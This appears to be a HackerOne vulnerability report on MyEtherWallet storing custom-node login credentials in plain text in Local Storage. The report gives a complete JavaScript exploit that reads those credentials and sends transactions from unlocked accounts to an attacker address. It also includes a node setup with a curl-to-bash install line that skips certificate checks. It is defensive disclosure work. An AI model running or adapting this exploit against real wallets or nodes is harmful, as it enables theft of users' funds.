Lucene search

K
hackeroneTw96H1:667716
HistoryAug 05, 2019 - 3:10 p.m.

MyEtherWallet: Local Storage Custom Node Credentials Leak

2019-08-0515:10:50
tw96
hackerone.com
$250
41

Summary

Credentials for a custom node are stored in plain text inside Local Storage on the user’s machine. If this node is configured in a certain way this could lead to the theft of any funds in accounts attached to this node, by a local attacker. And if not configured this way, an attacker could still perform Denial of Service type attacks on the node as well as violate the user’s privacy by revealing their public addresses.

Steps To Reproduce

  1. Access a wallet via MyEtherWallet (not using MetaMask, since then can’t select custom node).
  2. Add a new custom network, with a username and password.
    1. In “Network” box, click “Change”
    2. Toggle “Add Custom Network/Node” on
    3. Enter ETH node name: test
    4. Enter URL: https://127.0.0.1
    5. Enter Port: 4000
    6. Toggle “HTTP Basic Access Authentication” on
    7. Enter User Name: user
    8. Enter Password: secretword
    9. Click Save
  3. Refresh page
  4. Open Local Storage
  5. Under customNetworks you should see the User Name and Password used to connect to the node, in plain text.

What Could an Attacker Do With These Credentials?

These credentials can be used to access a custom node that requires authentication in order to interact with it. With these credentials one could make calls to the node via its JSON RPC API. For some nodes the worst consequence of this would be an attacker making lots of API calls to the node, in a Denial of Service type attack. However, for some node configurations this could result in the theft of users’ funds.

With both Geth and Parity nodes it is possible to add accounts to the node (i.e. Ethereum public addresses), with the password to decrypt the private key stored somewhere on the file system. The owner of the node can then unlock these accounts. In this configuration one can make HTTP requests to the node via its JSON RPC interface, including requests that perform privileged actions such as sending transactions on behalf of unlocked accounts attached to the node, with no further authentication required if these accounts are in an unlocked state. Detailed steps of this process are provided below.

Setting up node, using Parity:

  1. Install the Parity CLI: bash <(curl https://get.parity.io -Lk) -r stable (see here for more instructions)
  2. Create account using parity: parity account new --chain ropsten --keys-path dont_put_secret_files_here_ever
    • Note down the password and address
  3. Run parity server with account unlocked, on the Ropsten network: parity --chain ropsten --light --jsonrpc-port=9001 ---jsonrpc-interface 127.0.0.1 --jsonrpc-cors "*" --jsonrpc-hosts all --keys-path "dont_put_secret_files_here_ever" --unlock <ACCOUNT ADDRESS> --password <PATH TO FILE CONTAINING PASSWORD>
    • jsonrpc port is non-default since I have read that there are bots that scan for unlocked accounts on the default port.
    • jsonrpc-cors and jsonrpc-hosts options are set to all to make things easier, although in practice these might use a whitelist. However it is likely that the local machine would pass this whitelist check, if a user previously connected to the node from that computer.
    • It will take a while for the node to sync to the network if this is the first time it is being run.
  4. Transfer some Ropsten to the account, at least as much as the value used when sending a transaction in the exploit below (currently set to 0.001 ETH).

Note: In order to connect to this node via MyEtherWallet the connection must be via HTTPS. To do this I used a proxy server that converts incoming HTTPS request to HTTP requests, then forwards them to this parity node. I have included instructions for this in the attached file “Setup HTTPS Proxy Using Self-signed Certificate.md”. Note: I have found that MyEtherWallet produces error messages when attempting to add a custom node with credentials, however this does not affect this exploit.

With the Parity node set up, one can now run the exploit. The JavaScript code below assumes that the target node has been added to MyEtherWallet, and so is in “customNetworks” in Local Storage. The code below iterates through all nodes in “customNetworks” that require authentication and for each one gets a list of addresses attached to the node. Then for each of these addresses it attempts to send a transaction to an attacker controlled address. It could be adapted to find out the balance of the account and steal the entirety of the funds. This code should be copy-pasted into the JavaScript console on the target’s machine while on the MyEtherWallet home page (don’t need to be accessing a wallet):

var networks = JSON.parse(localStorage.customNetworks);
for (let i = 0; i < networks.length; i++) {
	let network = networks[i];
	/*Skip if network doesn't require password*/
	if (!network.auth) { continue; }

	// Get list of accounts from node
	var xhr1 = new XMLHttpRequest();
	xhr1.open('POST', network.url + ':' + network.port, true);
	xhr1.setRequestHeader('Authorization', 'Basic ' + btoa(unescape(encodeURIComponent(network.username + ':' + network.password))));
	xhr1.setRequestHeader('Content-type', 'application/json');
	xhr1.onreadystatechange = function() { // Call a function when the state changes.
	    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
	    	var addresses = JSON.parse(xhr1.responseText).result;

	    	/* For each address, try to steal money. Could be adjusted to find balance and steal it all*/
	    	for (let i = 0; i < addresses.length; i++) {
	    		var payload = {
	    			"jsonrpc":"2.0",
	    			"method":"eth_sendTransaction",
	    			"params":[
	    				{
	    					"from": addresses[i],
	    					"to": "0xC31dc94282d793d3E351808Be9F1b7056C2F0F02",
	    					"gas": "0x76c0",
	    					"gasPrice": "0x47956c9a",
	    					"value": "0x38d7ea4c68000",
	    					"data": "0x"
	    				}
	    			],
	    			"id":1
	    		}
	    		var xhr2 = new XMLHttpRequest();
	    		xhr2.open('POST', network.url + ':' + network.port, true);
	    		xhr2.setRequestHeader('Authorization', 'Basic ' + btoa(unescape(encodeURIComponent(network.username + ':' + network.password))));
	    		xhr2.setRequestHeader('Content-type', 'application/json');
	    		xhr2.send(JSON.stringify(payload));
	    	}
	    }
	}
	xhr1.send(JSON.stringify({"jsonrpc":"2.0","method":"eth_accounts","params":[],"id":1}));
}

WARNING: running the above exploit will send Ropsten ETH to the specified address, currently my address; adjust the “to” parameter to change the destination address.

It should be noted that this attack could still be carried out if the node did not require authentication, however it is assumed that is quite unlikely. If a user had a node configured like this it is very possible that automated bots may have already stolen the funds of the accounts attached to the node.

Suggested Mitigations

The main mitigation for this attack would be to not store sensitive information like these custom node credentials in Local Storage, which persists indefinitely on the local machine. Instead, these credentials should be stored inside Session Storage, which persists only until the tab is closed. This would mean that the user has to enter these credentials for every session, but this is a small price to pay to close this security hole.

Supporting Material/References

A screenshot of the Local Storage containing the custom node credentials is attached, in file “localStorage Custom Node Credentials Leak.png”.

Further Information

Please let me know if you have any trouble reproducing the above steps or require further information, and I will be happy to help.

Impact

The impact of this vulnerability is that user funds could be stolen if the user uses a custom node requiring authentication and the configuration described above, and then another attacker gains access to the local machine (e.g. the first user used a public computer, at a library) and executes this attack. This could be a targeted attack if the attacker knew that the victim was likely to be running a vulnerable node configuration.

Although one my think it unlikely that a user would run a node configured with an unlocked account and JSON RPC API functionality, the user may believe that the credentials required to access the node (via HTTP Basic Access Authentication) are sufficient to stop attackers from making function calls over this API to the node.

Furthermore, this attack could even be carried out remotely if combined with a JavaScript injection exploit, such as the one described in my recent vulnerability submission titled “Malicious Node JavaScript Injection Leading to Theft of Private Keys and User Funds”.

Lastly, even if the node is not configured in this way, an attacker could still disrupt the operation of the user’s node through a Denial of Service type attack, as well as list all of the accounts attached to the node (even if not unlocked) through an eth_accounts JSON RPC API request, thereby violating that user’s privacy.